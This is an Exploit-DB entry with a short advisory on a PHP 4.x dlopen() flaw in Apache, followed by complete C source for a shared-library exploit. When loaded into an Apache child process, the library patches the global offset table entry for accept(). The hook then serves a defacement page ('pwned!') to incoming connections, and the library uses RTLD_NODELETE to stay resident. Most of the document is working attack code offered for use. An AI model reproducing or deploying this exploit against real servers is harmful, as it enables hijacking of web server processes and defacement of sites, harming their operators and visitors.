PHP 4.x - DLOpen Memory Disclosure (1)

EDB-ID:

23022

CVE:

N/A




Platform:

PHP

Date:

2003-08-13


// source: https://www.securityfocus.com/bid/8405/info

A vulnerability has been reported to present itself in the dlopen() function contained in the PHP source. The issue occurs when PHP is used in conjunction with the Apache web server. A local attacker may exploit this issue to gain unauthorized access to potentially sensitive information.

/*
 * http://felinemenace.org - local PHP fun stuff ;) by Andrew Griffiths.
 * This causes "infected" apache child processes to return a "defaced" page upon
 * connection. This won't work on apache 2.x due to how it handles return codes
 * from accept. oh well ;)
 */

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/ptrace.h>
#include <errno.h>

int bd_fd = 0;
int (*real_accept)(int fd, struct sockaddr *sin, socklen_t *addrlen);
int bd_init=0;
int *f;

extern int errno;

char content[] = 
"HTTP/1.1 200 OK\n"
"Date: Mon, 26 May 2003 03:29:44 GMT\n"
"Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.12 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26\n"
"Connection: close\n"
"Content-Type: text/html; charset=iso-8859-1\n\n\n"

"<HTML><HEAD><TITLE>pwned!</TITLE></HEAD><BODY>woo</BODY></HTML>";

void trace(char *string)
{
	char buf[32];
	
	if(bd_fd == 0) {
		sprintf(buf, "/tmp/tracez.%d", getpid());
		bd_fd = open(buf, O_WRONLY|O_CREAT|O_TRUNC|O_SYNC, 0777);
		if(bd_fd == -1) {
			system("echo fscking damnit. unable to open file > /tmp/trace");
			exit(EXIT_FAILURE);
		}
	}
	write(bd_fd, string, strlen(string));
}

int fake_accept(int fd, struct sockaddr *addr, socklen_t *addrlen)
{
	int client_fd;

	trace("fake_accept()ing it up\n");
	
	client_fd = real_accept(fd, addr, addrlen);
	if(client_fd <= 0) return client_fd;

	write(client_fd, content, strlen(content));

	close(client_fd);

	errno = EINTR;
	return -1;
}

#ifndef RTLD_NODELETE
#define RTLD_NODELETE   0x01000 /* bits/dlfcn.h */
#endif

void load_self()
{
	trace("Locking ourselves into the process ...");
	setenv("pwned", "true", 1);
	dlopen("/tmp/libby.so", 0);
	dlopen("/tmp/libby.so", RTLD_NODELETE); /* pwned indeed :) */
	unsetenv("pwned");
	trace("done\n");
}

void _init()
{
	char cmd[1024], cmd2[1024];
	FILE *p;
	

	if(getenv("pwned")) return;
	
	sprintf(cmd, "Starting up: pid %d\n", getpid());
	system("cat /proc/$PPID/maps > /tmp/t");
	trace(cmd);
	
	if(bd_init == 0) {

		load_self();
		
		sprintf(cmd2, "objdump -R /usr/sbin/httpd | grep accept | grep JUMP\n", cmd);
		trace(cmd2);	
		p = popen(cmd2, "r");
		
		fscanf(p, "%08x ", &f);
		memset(cmd, 0, sizeof(cmd)-1);
		sprintf(cmd, "&GOT[accept]: %p\n", f);
		trace(cmd);	
		pclose(p);
		
		real_accept = *f;
		sprintf(cmd, "GOT[accept]: %p\n", real_accept);	
		trace(cmd);
		*f = fake_accept;
		sprintf(cmd, "now: GOT[accept]: %p\n", *f);
		trace(cmd);

		bd_init++;
	}
	
}

void _fini()
{
	*f = real_accept;
	trace("ack, closing!!\n");
	close(bd_fd);
}